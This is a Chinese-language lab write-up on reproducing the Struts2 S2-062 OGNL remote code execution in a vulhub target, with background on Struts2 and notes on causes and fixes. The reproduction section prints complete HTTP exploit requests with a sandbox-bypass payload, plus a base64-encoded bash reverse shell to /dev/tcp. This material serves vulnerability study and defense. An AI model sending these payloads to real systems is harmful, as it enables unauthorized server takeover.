struts2 s2-062 ONGL远程代码执行
struts2 s2-062 ONGL远程代码执行
一、Struts2介绍
struts2是一种重量级的框架,位于MVC架构中的controller,可以分析出来,它是用于接受页面信息然后通过内部处理,将结果返回。struts2也是一个web层的MVC框架。
Java中SSH框架
SSH为Struts+Spring+Hibernate的一个集成框架,是目前较流行的一种JAVA Web应用程序开源框架。
Java中SSM框架
SSM框架即指SpringMVC+Spring+MyBatis的简称,相比于之前的SSH(Spring+Struts+Hibernate),SSM更加轻量化和灵活,是目前业界主流的Java Web开发框架。
MVC介绍(Model-View-Controller)
经典MVC模式中,M是指模型,V是视图,C则是控制器,使用MVC的目的是将M和V的实现代码分离,从而使同一个程序可以使用不同的表现形式。其中,View的定义比较清晰,就是用户界面。
不使用MVC组件:
1、为每个请求编写处理的Servlet
2、使用getParameter()获取请求参数
3、转换参数的数据类型,包括实体对象
4、处理重定向和转发URL
使用MVC组件:
分离页面展示代码和业务逻辑代码,提升可维护性、提升开发效率
二、s2-062漏洞概况
该漏洞是由于 2020 年 S2-061(CVE-2020-17530)的不完整修复造成的,当开发人员使用了 %{…}
语法进行强制OGNL解析时,仍有一些特殊的TAG属性可被二次解析,攻击者可构造恶意的OGNL
表达式触发漏洞,从而实现远程代码执行。
三、漏洞复现
1、打开vulhub中Struts2的靶场
2、bp发送payload
POST /index.action HTTP/1.1
Host: 192.168.142.133:8080
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.88 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryl7d1B1aGsV2wcZwF
Content-Length: 1101
------WebKitFormBoundaryl7d1B1aGsV2wcZwF
Content-Disposition: form-data; name="id"
%{
(#request.map=#@org.apache.commons.collections.BeanMap@{}).toString().substring(0,0) +
(#request.map.setBean(#request.get('struts.valueStack')) == true).toString().substring(0,0) +
(#request.map2=#@org.apache.commons.collections.BeanMap@{}).toString().substring(0,0) +
(#request.map2.setBean(#request.get('map').get('context')) == true).toString().substring(0,0) +
(#request.map3=#@org.apache.commons.collections.BeanMap@{}).toString().substring(0,0) +
(#request.map3.setBean(#request.get('map2').get('memberAccess')) == true).toString().substring(0,0) +
(#request.get('map3').put('excludedPackageNames',#@org.apache.commons.collections.BeanMap@{}.keySet()) == true).toString().substring(0,0) +
(#request.get('map3').put('excludedClasses',#@org.apache.commons.collections.BeanMap@{}.keySet()) == true).toString().substring(0,0) +
(#application.get('org.apache.tomcat.InstanceManager').newInstance('freemarker.template.utility.Execute').exec({'whoami'}))
}
------WebKitFormBoundaryl7d1B1aGsV2wcZwF—
3、建立反弹连接payload
payload需要经过base64编码
编码前:
bash -i >& /dev/tcp/192.168.142.133/6666 0>&1
编码后:
bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjE0Mi4xMzMvNjY2NiAwPiYx}|{base64,-d}|{bash,-i}
POST /index.action HTTP/1.1
Host: 192.168.142.133:8080
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.88 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryl7d1B1aGsV2wcZwF
Content-Length: 1192
------WebKitFormBoundaryl7d1B1aGsV2wcZwF
Content-Disposition: form-data; name="id"
%{
(#request.map=#@org.apache.commons.collections.BeanMap@{}).toString().substring(0,0) +
(#request.map.setBean(#request.get('struts.valueStack')) == true).toString().substring(0,0) +
(#request.map2=#@org.apache.commons.collections.BeanMap@{}).toString().substring(0,0) +
(#request.map2.setBean(#request.get('map').get('context')) == true).toString().substring(0,0) +
(#request.map3=#@org.apache.commons.collections.BeanMap@{}).toString().substring(0,0) +
(#request.map3.setBean(#request.get('map2').get('memberAccess')) == true).toString().substring(0,0) +
(#request.get('map3').put('excludedPackageNames',#@org.apache.commons.collections.BeanMap@{}.keySet()) == true).toString().substring(0,0) +
(#request.get('map3').put('excludedClasses',#@org.apache.commons.collections.BeanMap@{}.keySet()) == true).toString().substring(0,0) +
(#application.get('org.apache.tomcat.InstanceManager').newInstance('freemarker.template.utility.Execute').exec({'bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjE0Mi4xMzMvNjY2NiAwPiYx}|{base64,-d}|{bash,-i}'}))
}
------WebKitFormBoundaryl7d1B1aGsV2wcZwF—
四、漏洞原理
项目使用了%{}解析OGNL表达式,对用户输入的内容进行二次解析的时候,如果没有验证就可能导致远程代码执行。
个人理解:
struts2项目中使用了%{}解析OGNL表达式,对用户输入的内容进行二次解析,使用BeanMap类绕过了Struts2的黑名单(沙盒机制),并实例化了可执行任意代码的类,导致可以执行任意代码。
OGNL表达式:
全称Object-Graph Navigation Language(对象图导航语言),一种开源的Java表达式语言,用于对数据进行访问,拥有类型转换、访问对象方法、操作集合对象等功能。
OGNL和Struts:
1、OGNL是Struts默认支持的表达式语言。
2、OGNL可以取值赋值、访问类的静态方法和属性。
3、访问OGNL上下文。Struts的上下文根对象:ValueStack。
4、%{}用来把字符串转换成表达式。
5、可以在struts.xml和struts标签等地方使用表达式。
五、漏洞修复方法
1、升级Struts2的版本
2、升级Struts2的相关组件
3、使用安全产品
热门相关:骑士归来 夫人,你马甲又掉了! 无限杀路 夫人,你马甲又掉了! 横行霸道